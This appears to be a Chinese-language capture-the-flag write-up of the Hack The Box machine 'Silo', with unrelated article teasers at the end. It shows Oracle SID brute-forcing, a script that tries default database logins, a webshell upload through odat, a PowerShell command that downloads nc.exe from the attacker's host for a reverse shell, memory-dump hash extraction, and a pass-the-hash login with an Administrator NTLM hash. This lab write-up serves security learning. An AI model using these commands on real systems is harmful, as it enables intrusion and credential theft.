HTB-Silo

news2024/12/22 22:40:43

HTB-Silo

  • 信息收集
  • 立足
  • root
  • 哈希传递攻击

请添加图片描述

信息收集

在这里插入图片描述

在这里插入图片描述
分别对smb和rpc都进行guest用户和空密码测试。
在这里插入图片描述

在这里插入图片描述
1521的Oracle TNS listener 11.2.0.2.0

在这里插入图片描述
搜索可能存在的漏洞。
在这里插入图片描述
得到一个CVE编号cve-2012-1675。同时我们可以对其进行SID枚举,SID说简单点就是数据库的名字。

在这里插入图片描述
简单的枚举似乎没有效果,尝试一下暴力破解。hacktricks有整理好的字典可供使用。
在这里插入图片描述

在这里插入图片描述
使用命令进行暴力破解:hydra -L /usr/share/wordlists/sids-oracle.txt -s 1521 10.10.10.82 oracle-sid
在这里插入图片描述
得到如下三个SID:XECLRExtProcPLSExtProc。在MSF中能找到暴力登录用户的payload。

在这里插入图片描述
设置好端口、host、threads就可以run了,似乎有些什么状况。
在这里插入图片描述
使用nmap似乎也出现了问题。
在这里插入图片描述
加上用户文件和密码文件再次使用MSF尝试。
在这里插入图片描述
在这里插入图片描述
额,不会我的MSF和nmap罢工了吧。
在这里插入图片描述
感觉是个MSF的bug,可能是由于Nmap XML解析器没有正确处理XML文件的文档类型声明(doctype)而导致的。其实我觉得在开始之前其实应该尝试默认账号密码。万一运气好就碰上了。

DBSNMP/DBSNMP
SYS/CHANGE_ON_INSTALL
PCMS_SYS/PCMS_SYS
WMSYS/WMSYS
OUTLN/OUTLN
SCOTT/TIGER
DBSNMP/dbsnmp
SYS/change_on_install
PCMS_SYS/pcms_sys
WMSYS/wmsys
OUTLN/outln
SCOTT/tiger

试了几次登录的脚本都没办法使用,行吧,自己手写一个连接脚本测试。

import cx_Oracle
user_List = ["DBSNMP","SYS","PCMS_SYS","WMSYS","OUTLN","SCOTT","DBSNMP","SYS","PCMS_SYS","WMSYS","OUTLN","SCOTT"]
pass_List = ["DBSNMP","CHANGE_ON_INSTALL","PCMS_SYS","WMSYS","OUTLN","TIGER","dbsnmp","change_on_install","pcms_sys","wmsys","outln","tiger"]
db_List = ["XE","PLSExtProc","CLRExtProc"]

if range(len(user_List)) == range(len(pass_List)):
    for x in db_List:
        for i in range(len(user_List)):
            dsn = "10.10.10.82:1521/" + x
            print("[*]Connecting:%s/%s/%s" %(user_List[i],pass_List[i],dsn))
            try:
                conn = cx_Oracle.connect(user_List[i],pass_List[i],dsn=dsn)
                print("\033[0;32;40m[+]Success! user:%s pass:%s db:%s\033[0m" %(user_List[i],pass_List[i],x))
                if conn:
                    conn.close()
            except Exception as e:
                print("\033[0;31;40m[-]Faild: %s\033[0m" %e)

在这里插入图片描述
使用sqlplus连接。

在这里插入图片描述
查看XE数据库的表。
在这里插入图片描述
查看各表的字段。
在这里插入图片描述
emmm看起来都是正常的表还有正常的字段。要么通过spool写入文件。要么通过odat写入webshell,前提是IIS是在默认目录。或者通过odat写入reverse shell然后执行。先试试能不能通过spool写入,经过尝试发现似乎不能以这种方法来写入文件,那用odat吧。odat有很多能够使用的插件
选了一个能够上传插件dbmsxslprocessor,并且查看dbmsxslprocessor插件的用法。

在这里插入图片描述
odat dbmsxslprocessor -U SCOTT -P tiger -d XE -s 10.10.10.82 --putFile C:\Inetpub\wwwroot test.txt test.txt会出现权限不足(insufficient privileges)。

在这里插入图片描述
加上–sysdba参数试一试SCOTT是否拥有系统数据库权限。
在这里插入图片描述
又是什么原因,不知道为什么他无法识别我当前目录下的文件。切换dbmsadvisor插件也是一样,这是为什么。
在这里插入图片描述
不会是需要绝对路径吧。在dbmsxslprocessor插件下修改本地文件为绝对路径后上传成功。
在这里插入图片描述

在这里插入图片描述

Windows IIS支持的web扩展名有

  • .asp
  • .aspx
  • .php
  • .html
  • .htm

虽然上传成功。
在这里插入图片描述
但是页面显示404,可能被过滤了。上传php的也被过滤。
在这里插入图片描述
上传aspx的webshell结果出现了错误界面。出于安全考虑拦截了远程查看应用程序错误的详细信息。
在这里插入图片描述
因为安全考虑所以阻止了我们远程查看错误,那说明还是执行了web shell。所以我打算直接生成一个反弹的shell看看能不能成功。

在这里插入图片描述

好吧,还是用kali自带的webshell试试吧。
在这里插入图片描述
在这里插入图片描述

立足

通过powershell命令powershell Invoke-WebRequest -Uri "http://10.10.14.31/nc.exe" -OutFile "nc.exe"下载nc.exe。
在这里插入图片描述
执行命令反弹shell。
在这里插入图片描述

额,可能需要横向。

在这里插入图片描述
貌似不需要横向移动,Phineas用户的Desktop会有一个Oracle issue.txt
在这里插入图片描述
内容如下:
在这里插入图片描述

额,这密码看起来有点问题。使用上传的nc.exe传输文件。
在这里插入图片描述

使用vim打开后发现乱码字符。
在这里插入图片描述
在记事本中按下alt后输入0163。
在这里插入图片描述

root

拼接好密码后登录dropbox,密码:£%Hm8646uC$。下载下来的文件是一个windows的tmp文件。可以使用内存取证工具volatility。
首先我们需要对方系统的版本。
在这里插入图片描述
Windows Server 2012 R2 Standard,在volatility里面加上–list参数查看–profile需要什么值,好的找到了:Win2012R2x64
在这里插入图片描述
使用hashdump尝试dumphash。

D:\CTF\Misc\内存取证\volatility_2.6_win64_standalone\volatility_2.6_win64_standalone\volatility_2.6_win64_standalone.exe  --profile Win2012R2x64 -f C:\Users\29669\Desktop\SILO-20180105-221806.dmp hashdump

在这里插入图片描述
收集到了三个用户的NTLM,可以尝试进行hash传递来控制目标。
在这里插入图片描述
使用evil-winrm -i 10.10.10.82 -u Administrator -H "9e730375b7cbcebf74ae46481e07b0c7"登录。

在这里插入图片描述

哈希传递攻击

大致了解一下哈希传递攻击吧:
哈希传递攻击是一种利用用户的密码散列值(通常是NTLM Hash)来进行身份验证的攻击方法。在域环境中,如果用户使用相同的本地管理员账号和密码登录不同的计算机,攻击者就可以通过获取其中一台计算机的本地管理员账号的NTLM Hash,来登录内网中的其他计算机。先来认识一下几种Windows的身份验证方法,Windows使用多种不同的验证方法其中包括NTLM、Kerberos、Digest Authentication等等。

  • NTLM是一个质询-响应式的身份验证协议。
  • Kerberos是一种基于票据的身份验证协议,它使用用户的用户名和密码来向一个可信的第三方(称为KDC)请求一个票据(称为TGT),然后使用这个票据来获取访问其他资源的票据(称为ST)。在Windows 2000以后的版本默认启用Kerberos。
  • NTLM因为安全性较低逐渐被Kerberos替代,而NTLM简单容易使用兼容性好,比较容易在旧的应用和系统上使用。

在这里插入图片描述
之所以哈希能被读取的其原理就是因为这些身份验证都需要将其密码以及密码的衍生物(密码hash等)存放在内存中。而在本例中由于Windows系统可能出现问题导致生成了系统tmp文件,使用volatility进行内存取证发现了同样被生成在tmp文件类的NTLM哈希文件。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/493419.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

错题汇总04

1.以下C语言指令: int a[5] {1,3,5,7,9}; int *p (int *)(&a1); printf(“%d,%d”,*(a1),*(p-1)); 运行结果是什么? A 2,1 B 3,1 C 3,9 D 运行时崩溃 数组名只有在&与sizeof之后,才表明数组本身,其余表…

平均情况时间复杂度

// n表示数组array的长度 int find(int[] array, int n, int x) {int i 0;int pos -1;for (; i < n; i) {if (array[i] x){ pos i; break;}}return pos; } 通过以上代码&#xff0c;我们分析一下平均情况时间复杂度。 以上代码要查找的变量 x 在数组中的位置&#xff…

并发编程02:CompletableFuture

文章目录 2.1 Future接口理论知识2.2 Future接口常用实现类FutureTask异步任务2.2.1 Future接口能干什么2.2.2 Future接口相关架构2.2.3 Future编码实战和优缺点分析2.2.4 完成一些复杂的任务 2.3 CompletableFuture对Future的改进2.3.1 CompletableFuture为什么会出现2.3.2 Co…

Redis持久化篇

文章目录 持久化篇1、AOF持久化是怎么实现的&#xff1f;1.1、AOF日志1.2、三种写回策略1.3、AOF重写机制1.4、AOF后台重写 2、RDB快照是怎么实现的&#xff1f;2.1、快照怎么使用2.2、执行快照时&#xff0c;数据能被修改吗&#xff1f;2.3、RDB和AOF合体 3、Redis大key对持久…

自动驾驶行业观察之2023上海车展-----智驾供应链(2)

传感器供应链发展 图达通&#xff1a;展示长距Lidar“Falcon”&#xff0c;和DeepWay签署定点协议 产品&#xff1a;主视激光雷达 Falcon 猎鹰&#xff08;2023CES曾亮相&#xff09; 核心亮点&#xff1a; • 核心性能&#xff1a;最远探测距离可达 500 米&#xff0c;为智…

《计算机网络—自顶向下方法》 第一章Wireshark实验:Wireshark软件的安装和入门

要深入理解网络协议&#xff0c;需要仔细观察协议实体之间交换的报文序列。为探究协议操作细节&#xff0c;可使协议实体执行某些动作&#xff0c;观察这些动作及其影响。这些任务可以在仿真环境下或在如因特网这样的真实网络环境中完成。观察在正在运行协议实体间交换报文的基…

万字长文详解linux内存管理,值得收藏

一、Linux内存管理概述 Linux内存管理是指对系统内存的分配、释放、映射、管理、交换、压缩等一系列操作的管理。在Linux中&#xff0c;内存被划分为多个区域&#xff0c;每个区域有不同的作用&#xff0c;包括内核空间、用户空间、缓存、交换分区等。Linux内存管理的目标是最…

经典常用的脚本讲解

目录 一&#xff1a;echo 语句 二&#xff1a;while read命令​编辑 三&#xff1a;猴子摘香蕉问题 四:斐波拉切数求前10个数的和 ​五&#xff1a;随机生成8位数的密码 六&#xff1a;二进制转换 &#xff08;1&#xff09;余数倒排法 &#xff08;2&#xff09;减法正…

Google - ISLR 比赛总结

引言 本篇主要想总结一下最近打的GISLR比赛&#xff0c;本来是没想写的&#xff0c;比赛前期感觉赛题很有意思&#xff0c;做了eda以及根据一些base改了改自己的方案&#xff0c;取得了还不错的结果&#xff0c;但因为中途被各种琐事缠身&#xff0c;发生了很多变故&#xff0…

【Linux】Libevent库

Libevent——高性能I/O框架库 底层封装了select&#xff0c;poll&#xff0c;epoll&#xff0c;便于使用 I/O框架库以库函数的形式&#xff0c;封装了较为底层的系统调用&#xff0c;给应用程序提供了一组更便于使用的接口。 特点&#xff1a;1.跨平台&#xff0c;2.统一事件源…

c++面向对象之封装、继承、和多态

一、封装 把客观事物封装成类&#xff0c;而且可以把自己的数据和方法设置为只能让可信的类或者对象操作&#xff0c;对不可信的信息进行隐藏&#xff08;利用public,private,protected,friend)实现 二、继承 2.1类与类的关系 has-a &#xff1a;描述一个类由多个部件类构成…

SpringCloud全面学习笔记之初尝美妙篇

目录 前言初识微服务单体架构分布式架构微服务架构初见SpringCloud微服务治理分布式服务架构案例 微服务组件及使用Eureka注册中心提供者和消费者Eureka的结构和作用搭建Eureka服务注册服务服务发现Eureka注册服务总结 Ribbon负载均衡原理负载均衡原理负载均衡策略懒加载 Nacos…

Qt quick基础2(包含平移旋转放缩以及qml控件大写开头啊)

Qt quick基础2&#xff08;包含平移旋转放缩以及qml控件大写开头啊&#xff09; 目录 Qt quick基础2&#xff08;包含平移旋转放缩以及qml控件大写开头啊&#xff09;前言简单的平移、旋转和放缩其他元素的一些基本使用qml文件作为控件时&#xff0c;务必以大写字母开头命名小结…

力扣题库刷题笔记682-棒球比赛

1、题目如下&#xff1a; 2、个人Python代码实现如下&#xff1a; 代码如下&#xff1a; class Solution: def calPoints(self, operations: List[str]) -> int: i 0 #用于遍历元素的下标 while i < len(operations): …

【Python入门篇】——Python基础语法(数据类型与数据类型转换)

作者简介&#xff1a; 辭七七&#xff0c;目前大一&#xff0c;正在学习C/C&#xff0c;Java&#xff0c;Python等 作者主页&#xff1a; 七七的个人主页 文章收录专栏&#xff1a; Python入门&#xff0c;本专栏主要内容为Python的基础语法&#xff0c;Python中的选择循环语句…

数据结构与算法导学

文章目录 数据结构和算法导学认识数据结构认识算法总结 数据结构和算法导学 程序 数据结构 算法 认识数据结构 什么是数据结构&#xff1f; 数据结构是一门研究计算机中数据存储和数据操作的学科。 为什么要学习数据结构&#xff1f; 学习数据结构能让我们写出更加优秀的代码…

关于在线帮助中心你需要思考以下几个问题

搭建帮助中心是大多数企业都在尝试做的事情&#xff0c;它的重要性对于企业来说不言而喻。现在对于企业来说&#xff0c;搭建帮助中心或许不是什么难事&#xff0c;但是关于帮助中心&#xff0c;有几个问题需要思考清楚&#xff0c;才能让其发挥最大的价值。 一、如何让用户养成…

CAS 原子操作类

CAS 原子类 java.util.concurrent.atomic 是什么 CAS compare and swap的缩写&#xff0c;中文翻译比较并交换&#xff0c;实现并发算法时常用的一种技术 它包含三个操作数–内存位置、预期原值及更新值 执行CAS操作时&#xff0c;将内存位置的值与预期原值比较 如果相匹…

网络协议与攻击模拟-05-ICMP协议

ICMP 协议 1、理解 ICMP 协议 2、理解 ICMP 重定向 3、会使用 wireshark 分析 ICMP 重定向流量实验 一、 ICMP 基本概念 1、 ICMP 协议 Internet 控制报文协议&#xff0c;用于在 IP 主机、路由器之间传递控制消息&#xff0c;控制消息指网络通不通、主机是否可达、路由是否…

荔枝派Zero(全志V3S)驱动开发之hello驱动程序

文章目录 前言一、设备驱动分类二、字符设备驱动简介三、字符设备驱动开发1、APP打开的文件在内核中如何表示2、编写驱动程序的步骤3、hello 驱动程序编写<1>、试验程序编写<2>、测试程序编写<3>、编写 Makefile<4>、编译 3、运行测试<1>、上传程…